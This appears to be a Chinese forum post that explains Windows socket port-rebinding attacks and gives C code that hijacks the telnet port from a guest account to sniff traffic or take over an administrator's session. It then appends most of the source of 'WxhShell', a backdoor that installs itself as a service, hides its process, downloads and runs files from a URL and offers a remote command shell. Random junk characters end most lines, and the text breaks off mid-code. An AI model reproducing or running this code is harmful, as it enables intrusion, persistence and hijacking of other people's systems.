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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [Zi\L>PHO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SAly~(r?/  
`hI1  
  saddr.sin_family = AF_INET; st'Y j  
ZVgR7+`]#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5as';1^P&*  
HwM:bY N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >/ HC{.k  
5#q ^lL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CA[k$Sw*  
q{n~s=  
  这意味着什么?意味着可以进行如下的攻击: ojtcKw  
?AYI   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k:`^KtBMl  
/8J2,8vZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SJIJV6}H  
$(#o)r>_R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T|ZT&x$z  
||9f@9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?W%3>A  
Wb/@~!+i`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rx|/]NE;  
.J&~u0g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ",Ek| z  
 //K]zu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YWd:Ok0  
D;d 'ss;  
  #include f5mk\^  
  #include gd#  
  #include _mA[^G=gY  
  #include    K31Fp;K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -V_e=Y<J/  
  int main() >L[,.}(9  
  { QF!K$?EU[  
  WORD wVersionRequested; *l_1T4]S  
  DWORD ret;  2Np9*[C  
  WSADATA wsaData; 0z.`  
  BOOL val; x/bO;9E%U4  
  SOCKADDR_IN saddr; )u3<lpoTy  
  SOCKADDR_IN scaddr; q'",70"\  
  int err; bZERh:%o  
  SOCKET s; PN+,M50;1  
  SOCKET sc; nLdI>c9R  
  int caddsize; @fbvu_-].  
  HANDLE mt; r{p?aG  
  DWORD tid;   {K_YW  
  wVersionRequested = MAKEWORD( 2, 2 ); /0Zwgxt4?7  
  err = WSAStartup( wVersionRequested, &wsaData ); q\d'}:kfu  
  if ( err != 0 ) { &'T7 ~M:  
  printf("error!WSAStartup failed!\n"); ++Az~{W7  
  return -1; gaTI:SKzc  
  } 78y4nRQ*  
  saddr.sin_family = AF_INET; dy|r:~j3  
   E2!;W8M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }^)M)8zS  
!\+SE"ml  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gHYYxhW$  
  saddr.sin_port = htons(23); B6OggJ9Iq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O#cXvv]Z*  
  { tdZ:w  
  printf("error!socket failed!\n"); F RS@-P  
  return -1; H)t8d_^|j  
  } vA(3H/)-  
  val = TRUE; &$< S1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mZMLDs:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j"}alS`-  
  { AP/tBC eM  
  printf("error!setsockopt failed!\n"); ~`8`kk8  
  return -1; f<0-'fGJd  
  } CZ|Y o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &eK8v]|"W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jO!!. w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y4 P mL  
\HTXl]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6i{W=$ RQ  
  { aHwrFkn  
  ret=GetLastError(); Ms^,]Q1{  
  printf("error!bind failed!\n"); 3u+~!yz  
  return -1; E83{4A4  
  }  1=W>zC  
  listen(s,2); c_HYB/'  
  while(1) oAvL?2  
  { cz&FOP+!  
  caddsize = sizeof(scaddr); j Dy  
  //接受连接请求 .VTHZvyn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y;sr# -L  
  if(sc!=INVALID_SOCKET) ]UFf-  
  { 7NoB   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0dXZd2oK@  
  if(mt==NULL) 6dq5f?w]  
  { A3M)yWq  
  printf("Thread Creat Failed!\n"); 0m51nw~B  
  break; a"#5JcR3  
  } j.AAY?L  
  } <7?MutHM-  
  CloseHandle(mt); H[!by)H  
  } m:X;dcq'3  
  closesocket(s); xjv?Z"X  
  WSACleanup(); Rz*%(2Vz  
  return 0; ML Id3#Q  
  }   0u)]1  
  DWORD WINAPI ClientThread(LPVOID lpParam)  $p}7CP  
  { PlTY^N6Hn  
  SOCKET ss = (SOCKET)lpParam; m|=/|Hm  
  SOCKET sc; el-%#0  
  unsigned char buf[4096]; XZIj' a0d  
  SOCKADDR_IN saddr; y*|"!FK  
  long num; Be0P[v  
  DWORD val; (MwB% g  
  DWORD ret; OG!^:OY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mhT3Fwc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *jf (TIU  
  saddr.sin_family = AF_INET; ~H)bvN^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NqlG=pu  
  saddr.sin_port = htons(23); 8;Yx a8ie  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4}fG{Bk  
  { o D:?fs]  
  printf("error!socket failed!\n"); hZc$`V=R  
  return -1; xNE<$Bz  
  } !XzRV?Ih;  
  val = 100; }|AUV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %'k^aq FL  
  { M(I 2M  
  ret = GetLastError(); g2w0#-  
  return -1; b@z/6y!  
  } cFD(Ap  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PHZA?>Q7Z  
  { C+*: lLY  
  ret = GetLastError(); NC@OmSR\0  
  return -1; 'd0]`2tVg4  
  } u= !?<Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O62H4oT  
  { V. \do"m  
  printf("error!socket connect failed!\n"); iHWl%]7sN  
  closesocket(sc); OpUC98p?@  
  closesocket(ss); trtI^^/%  
  return -1; |brl<*:  
  } tE=P9 \4  
  while(1) rjx6Ad/\  
  { }\P9$D+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !NjC+ps]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (A/V(.!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +hV7o!WxC  
  num = recv(ss,buf,4096,0); 56d,Sk)  
  if(num>0) $>]7NTP  
  send(sc,buf,num,0); Th'6z#h:U  
  else if(num==0) :hCp@{  
  break; }_:^&cT  
  num = recv(sc,buf,4096,0); IGOqV>;  
  if(num>0) %j{gZTz-  
  send(ss,buf,num,0); Rco#?'  
  else if(num==0) ;~#rd L  
  break; oG3>lqBwD2  
  } k0!b@ c  
  closesocket(ss); Mm+_>   
  closesocket(sc); 50Pz+:  
  return 0 ; |SQ5Sb  
  } Et4gRS)\  
>Vn;1|w  
'@ (WT~g  
========================================================== Ef:.)!;jy  
8u!!a^F  
下边附上一个代码,,WXhSHELL j<Lj1 P3  
>z.o?F  
========================================================== rpQB# Pz  
,eF}`  
#include "stdafx.h" PIsMx-i0  
bL]*K$  
#include <stdio.h> qOqQt=ObU  
#include <string.h> RU>T?2  
#include <windows.h> WENPS*0oS]  
#include <winsock2.h> ZG H2  
#include <winsvc.h> 7rbl+:y2  
#include <urlmon.h> ^<.mUaP  
pg [F{T<  
#pragma comment (lib, "Ws2_32.lib") xQ-]Iw5  
#pragma comment (lib, "urlmon.lib") -c~nmPEG6  
{: T'2+OH>  
#define MAX_USER   100 // 最大客户端连接数 gH(,>}{^K  
#define BUF_SOCK   200 // sock buffer K8ecSs}}J  
#define KEY_BUFF   255 // 输入 buffer b'3w.%^  
'Oyz/P(p  
#define REBOOT     0   // 重启 E#Smi507p  
#define SHUTDOWN   1   // 关机 0 x4p!5  
$*\[I{Zau}  
#define DEF_PORT   5000 // 监听端口 v\'E o* 4  
Pp*|EW 1  
#define REG_LEN     16   // 注册表键长度 WIa4!\Ky!  
#define SVC_LEN     80   // NT服务名长度 \|L ~#{a  
vxzh|uF  
// 从dll定义API TG=) KS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `lRZQ:27X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F%UyFUz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N~=p+Ow[H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {AoH  
;*{y!pgb  
// wxhshell配置信息 Rs$k3   
struct WSCFG { *&Np;^~  
  int ws_port;         // 监听端口 4nN%5c~=  
  char ws_passstr[REG_LEN]; // 口令 9r+]V=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3<88j&9  
  char ws_regname[REG_LEN]; // 注册表键名 KnaQhZ  
  char ws_svcname[REG_LEN]; // 服务名 1 `hj]@.]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /EZF5_`bT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pd?3_yU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BA4qQCS;5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }S\\"SBC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _?x*F?5=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b%IRIi&,  
m-xSF]q=<  
}; p-POg%|&<  
LBh|4S$K  
// default Wxhshell configuration rwWs\~.H  
struct WSCFG wscfg={DEF_PORT, "t$c'`  
    "xuhuanlingzhe", SzR7:U  
    1, O(2)A>}  
    "Wxhshell", -NHA{?6r  
    "Wxhshell", swss#?.se  
            "WxhShell Service", <5%x3e"7u  
    "Wrsky Windows CmdShell Service", jQxv` H  
    "Please Input Your Password: ", sgW*0o  
  1, {dM18;  
  "http://www.wrsky.com/wxhshell.exe", dMK| l   
  "Wxhshell.exe" JS]6jUB<B  
    }; /o Q^j'v  
9D#"Ey  
// 消息定义模块 %SaC[9=?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j"{|* _6E_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?W:YS82  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -r)Q|U  
char *msg_ws_ext="\n\rExit."; fjVGps$ j  
char *msg_ws_end="\n\rQuit."; 2R66 WK Q  
char *msg_ws_boot="\n\rReboot..."; 3J%(2}{y  
char *msg_ws_poff="\n\rShutdown..."; 4E/Q+^?  
char *msg_ws_down="\n\rSave to "; uH!uSB2  
JKN0:/t7 Q  
char *msg_ws_err="\n\rErr!"; ~xZFm  
char *msg_ws_ok="\n\rOK!"; vPz$jeA  
"xe %  IS  
char ExeFile[MAX_PATH]; l*V]54|ON3  
int nUser = 0; "#anL8  
HANDLE handles[MAX_USER]; D/[(}o(  
int OsIsNt; \bNN]=  
xfZ.  
SERVICE_STATUS       serviceStatus; 9y"R,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6c>cq\~E  
96x$Xl;  
// 函数声明 q$6fb)2I]e  
int Install(void); "Qj;pqR  
int Uninstall(void); r%QTUuRXC3  
int DownloadFile(char *sURL, SOCKET wsh); 8@pY:AY  
int Boot(int flag); 3 (Bd`=9  
void HideProc(void); lf3QMr+  
int GetOsVer(void); <Yif-9  
int Wxhshell(SOCKET wsl); f86h"#4  
void TalkWithClient(void *cs); =m]|C1x  
int CmdShell(SOCKET sock); 5$9g4  
int StartFromService(void); "& h;\hL  
int StartWxhshell(LPSTR lpCmdLine); ;;#28nV  
//T1e7)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `}<x"f7.z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GvQKFgO6h  
/Z`("X?_Kf  
// 数据结构和表定义 wq+%O,  
SERVICE_TABLE_ENTRY DispatchTable[] = gx,BF#8}  
{ *Y'nDv6_P  
{wscfg.ws_svcname, NTServiceMain}, =pSuyM'  
{NULL, NULL} ,rkY1w-  
}; - "`5r6  
HQqnJ;ns<  
// 自我安装 X <QSi   
int Install(void) WxO2  
{ QlT{8uw )  
  char svExeFile[MAX_PATH]; |-t>_+. J'  
  HKEY key; 1o5n1 A  
  strcpy(svExeFile,ExeFile); av|r^zc  
2wCTd:e:  
// 如果是win9x系统,修改注册表设为自启动 kYMKVR  
if(!OsIsNt) { H5wzzSV!:B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9HJrMX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K`}8fU   
  RegCloseKey(key); 36MqEUjyB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B q/<kEgM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =LLix . >  
  RegCloseKey(key); _ zM/>Qa  
  return 0; od\-o:bS  
    } a ;@G  
  } 7tbM~+<0  
} "%^T~Z(_j  
else { B'sgCU  
R)}ab{A  
// 如果是NT以上系统,安装为系统服务 b/^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oZVq }}R  
if (schSCManager!=0) nKxu8YAJe  
{ l@:|OGD;8  
  SC_HANDLE schService = CreateService 9Q)9*nHe  
  ( !Miw.UmPm  
  schSCManager, Y'n+,g  
  wscfg.ws_svcname, ICq  
  wscfg.ws_svcdisp, vq(ElXTO  
  SERVICE_ALL_ACCESS, /XEt2,sI9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qRk<1.  
  SERVICE_AUTO_START, Zw4z`x1f  
  SERVICE_ERROR_NORMAL, /O@TqH  
  svExeFile, R1A|g =kF  
  NULL, z''ITX)oG  
  NULL, m[l[yUw#  
  NULL, 8nKZ   
  NULL, E+'P|~>oX  
  NULL F`C$F!GE  
  );  Y7q=]  
  if (schService!=0) B}O M:0  
  { _6O\*|'6  
  CloseServiceHandle(schService); `Ckx~'1M:  
  CloseServiceHandle(schSCManager); e$ pXnMx7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W.67};',  
  strcat(svExeFile,wscfg.ws_svcname); A!xx#+M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @B e7"Fm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _'OXrT#Q  
  RegCloseKey(key); }wY6^JF  
  return 0; kx3?'=0;5  
    } :U>[*zE4&  
  } yv),>4_6  
  CloseServiceHandle(schSCManager); M9*#8>  
} :9c[J$R4  
} hW~XE{<  
8 16OV  
return 1; w^/jlddF  
} #Cy9E"lP  
[9c|!w^F  
// 自我卸载 c}$C=s5 h}  
int Uninstall(void) +c+i~5B4  
{ j2dptM3t{  
  HKEY key; ;&K +x@  
]?1n-w.}r  
if(!OsIsNt) { cJ ^:b4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JJE3\  
  RegDeleteValue(key,wscfg.ws_regname); T ?HG}(2  
  RegCloseKey(key); j*7#1<T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ja`xG{~Y7i  
  RegDeleteValue(key,wscfg.ws_regname); #gQaNc?  
  RegCloseKey(key); h! yI(cY  
  return 0; 2*[Gm e  
  } sfo+B$4|  
} TAE@KSPvo  
} }I )%Gw  
else { |O!G[|/3  
kuX{2h*`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q2SlK8`QJ  
if (schSCManager!=0) 7k<6oM1  
{ BSyl!>G6n8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 45 \W%8  
  if (schService!=0) igGg[I1?  
  { 4lCEzWo[/  
  if(DeleteService(schService)!=0) { XCAy _fL<B  
  CloseServiceHandle(schService); F4R0A6HL  
  CloseServiceHandle(schSCManager); :U{$G( <  
  return 0; GJeP~   
  } p#QR^|7"  
  CloseServiceHandle(schService); #'qDNY@w}  
  } 7]J7'!Iz  
  CloseServiceHandle(schSCManager); $URL7hrhU  
} CW+]Jv]"  
} Ow3t2G  
O_S%PX  
return 1; |qAU\m"Pc  
} 1 x'H #  
(p?7-~6|:  
// 从指定url下载文件 1*VArr6*6  
int DownloadFile(char *sURL, SOCKET wsh) 2d60o~ E  
{ e$t$,3~  
  HRESULT hr; jl)7Jd  
char seps[]= "/"; =^5,ua6  
char *token; [ 11D7L%1t  
char *file; ,qz:(Nr  
char myURL[MAX_PATH]; R5b!Ao  
char myFILE[MAX_PATH]; 2m8|0E|@  
j=U^+jAn  
strcpy(myURL,sURL); 6eB2mcV  
  token=strtok(myURL,seps); S}}L& _  
  while(token!=NULL) j8cXv  
  { l'Kx#y$  
    file=token; x)0''}E~  
  token=strtok(NULL,seps); j7>a ^W  
  } s~tZN  
s9\N{ar#  
GetCurrentDirectory(MAX_PATH,myFILE); Hgk@I;  
strcat(myFILE, "\\"); UNO KK_  
strcat(myFILE, file); oQ{ X2\  
  send(wsh,myFILE,strlen(myFILE),0); Pxy+W*t  
send(wsh,"...",3,0); x^XP<R{D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $E@U-=m  
  if(hr==S_OK) h(4&!x  
return 0; k;~*8i=%,\  
else ObzFh?W  
return 1; t}X+P`Ovq  
V/@7XAt  
} N2Q b+  
OTmw/#ug  
// 系统电源模块 z[?&bF<|  
int Boot(int flag) G|eJac>  
{ G5T(  
  HANDLE hToken; $*S&i(z  
  TOKEN_PRIVILEGES tkp; k )=Gyv<  
QP~Iz*J'  
  if(OsIsNt) { E 5N9.t h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =#.qe=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xO0}A1t Wd  
    tkp.PrivilegeCount = 1; ]dd TH l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GS@ Zc2JPF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6=3;(2u[C"  
if(flag==REBOOT) { DPM4v7 S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iQ8T3cC+  
  return 0; sz@Y$<o  
} c*DBa]u2  
else { u$Ty|NBjn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  oHR@*2b  
  return 0; KGP*G BZr  
} LKsK!X  
  } mrGfu:r  
  else { =>Q$S  
if(flag==REBOOT) { h{/lW#[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ur| vh5  
  return 0; R\Of ,  
} r-'CB  
else { Xwz'h;Ks_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QnH;+k ln  
  return 0; 0wpGIT!2  
} mXK7y.9\  
} j|DjO?._'  
=jD9oMs  
return 1; E/ {v6S{)Y  
} 4OTrMT$y  
 <6STw  
// win9x进程隐藏模块 4sM9~zC5  
void HideProc(void) %uQOAe55  
{ (4Ha'uqz  
.:9XpKbt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fI"OzIJV  
  if ( hKernel != NULL ) VxqoE]Dh  
  { +&*Ybbhb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )>r sX)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2"pFAQBw~i  
    FreeLibrary(hKernel); _`d=0l*8  
  } 3,dIW*<**  
PE&$2(  
return; d8N4@3CkL  
} N@3&e;y  
L 4Sa,ZL  
// 获取操作系统版本 @E%f AC  
int GetOsVer(void) -Zfq:Kr  
{ `6FH@" |I  
  OSVERSIONINFO winfo; #%{x*y:Ms  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0fAo&B  
  GetVersionEx(&winfo); 30<3DA_P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q4B(NYEu(  
  return 1; H|I.h{:  
  else n<3{QqF  
  return 0; ' )~G2Ys  
} jm&PGZ#n=R  
J5L[)Gd)D  
// 客户端句柄模块 aBT8mK -.  
int Wxhshell(SOCKET wsl) B]wfDUG  
{ dz,4);Mg  
  SOCKET wsh; 1pJ?YV  
  struct sockaddr_in client; 5$%CRm  
  DWORD myID; ~zc B@; :  
CJf4b:SY@  
  while(nUser<MAX_USER) jVInTR0f[  
{ n|Gw?@CU7  
  int nSize=sizeof(client); &]jCoBj+_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w|( ix;pK  
  if(wsh==INVALID_SOCKET) return 1; .,&6 x.  
IiZXIG4H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *zl-R*bM$  
if(handles[nUser]==0) >fx/TSql:J  
  closesocket(wsh); G`R_kg9$  
else l *]nvd_  
  nUser++; 3}x6IM 2  
  } RWdx) qj{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M <c cfU!  
>gZ"^iW  
  return 0; qLk7C0  
} F ,h}HlU  
4mwLlYZ  
// 关闭 socket }cd-BW  
void CloseIt(SOCKET wsh) ROj9#:  
{ x>[f+Tc  
closesocket(wsh); C3-I5q(V]  
nUser--; tr$d?  
ExitThread(0); Bs';!,=  
} n{E9p3i  
=0_((eXwf  
// 客户端请求句柄 l( uV@_3  
void TalkWithClient(void *cs) )@E'yHYO>  
{ sV-UY!   
!WNO!S0/j  
  SOCKET wsh=(SOCKET)cs; |6T"T P  
  char pwd[SVC_LEN]; A}MF>.!}C  
  char cmd[KEY_BUFF]; 8 _|"+Ze  
char chr[1]; G^A}T3  
int i,j; R~N'5#.*M  
qd@Fb*  
  while (nUser < MAX_USER) { z2god 1"  
91:TE8?Z  
if(wscfg.ws_passstr) { (F'?c1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6;p"xC-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *#c^.4$'  
  //ZeroMemory(pwd,KEY_BUFF); M(#]NTr ~4  
      i=0; YnW,6U['{g  
  while(i<SVC_LEN) { 3im2 `n  
)mE67{YJh~  
  // 设置超时 mL]5Tnc  
  fd_set FdRead; eGi|S'L'  
  struct timeval TimeOut; Ep8 y  
  FD_ZERO(&FdRead); G ;  
  FD_SET(wsh,&FdRead); o{xA{ @<  
  TimeOut.tv_sec=8; FcmL 4^s.`  
  TimeOut.tv_usec=0; X,ok3c4X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  "xp>Vj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *%jd>e7d  
*FC26_pH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LT6VZ,S  
  pwd=chr[0]; %)PQomn?  
  if(chr[0]==0xd || chr[0]==0xa) { O^<\]_l  
  pwd=0; 3y]rhB  
  break; cPg$*,]  
  } 7&*d]#&~j  
  i++; +YnQOh%v0s  
    } U'Fc\M5l/l  
&OP =O*B  
  // 如果是非法用户,关闭 socket HVaKy+RU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g0 Jy:`M  
} z:p9&mi  
U?(+ {4l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rv@( [rn+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~[`*)(4E  
`fUP q ;  
while(1) { am# (ms  
W;ADc2#)  
  ZeroMemory(cmd,KEY_BUFF); %\?Gzc_  
[Ontip  
      // 自动支持客户端 telnet标准   ~)%DiGW&  
  j=0; t0+D~F(g  
  while(j<KEY_BUFF) { ^ Mw=!n[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '~OKt`SfIo  
  cmd[j]=chr[0]; T8\%+3e.  
  if(chr[0]==0xa || chr[0]==0xd) { # PZBh  
  cmd[j]=0; kYU!6t1  
  break; TTm  
  } D0@d}N  
  j++; T[]kun  
    } m_,j)A%  
9<6Hs3|.!  
  // 下载文件 A:YWXcg  
  if(strstr(cmd,"http://")) { <PTi>C8;r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g].v  
  if(DownloadFile(cmd,wsh)) Mp)|5<%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW^W/S%'  
  else ,7*-%05[\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -KU@0G  
  } g@IYD  
  else { 9}Qrb@DT  
7kH GU  
    switch(cmd[0]) { KSy.  
  Eumdv#Qg  
  // 帮助 5H |<h  
  case '?': {  9Li.B1j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (]*!`(_b  
    break; 2Wq/_:  
  } u}BN)%`B  
  // 安装 hP26Bb1  
  case 'i': { 'w!8`LPu  
    if(Install()) &{(8EvuDd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7"6Y ]  
    else ?,Zc{   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {#J1D*?$"  
    break; "RMvWuNt  
    } W.VyH|?  
  // 卸载 2Ik@L,  
  case 'r': { TM?7F2  
    if(Uninstall()) E?3$ *t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TM1J1GU  
    else N6*v!M+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .W q"  
    break; ~L=Idt!9  
    } jj*e.t:F  
  // 显示 wxhshell 所在路径 7COJ.rA  
  case 'p': { Mv^G%zg2  
    char svExeFile[MAX_PATH]; ?jRyw(Q  
    strcpy(svExeFile,"\n\r"); ?UV ^6  
      strcat(svExeFile,ExeFile); 6N]V.;0_5  
        send(wsh,svExeFile,strlen(svExeFile),0); 1[r;  
    break; {qkd63 X  
    } o= N_0.  
  // 重启 ,Jh('r7  
  case 'b': { HRZ3}8Qj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I\peO/w  
    if(Boot(REBOOT)) |? l6S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+>)H$5  
    else { 6 &)fZt  
    closesocket(wsh); ."\&;:ZNv  
    ExitThread(0); =*?2+ ;  
    } k7ODQ(*v  
    break; =D6H?K-k!  
    } C>*]a(5k  
  // 关机 (Jb[_d*  
  case 'd': { 8ncgTCH:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2e @zd\  
    if(Boot(SHUTDOWN)) |`yzH$,F  
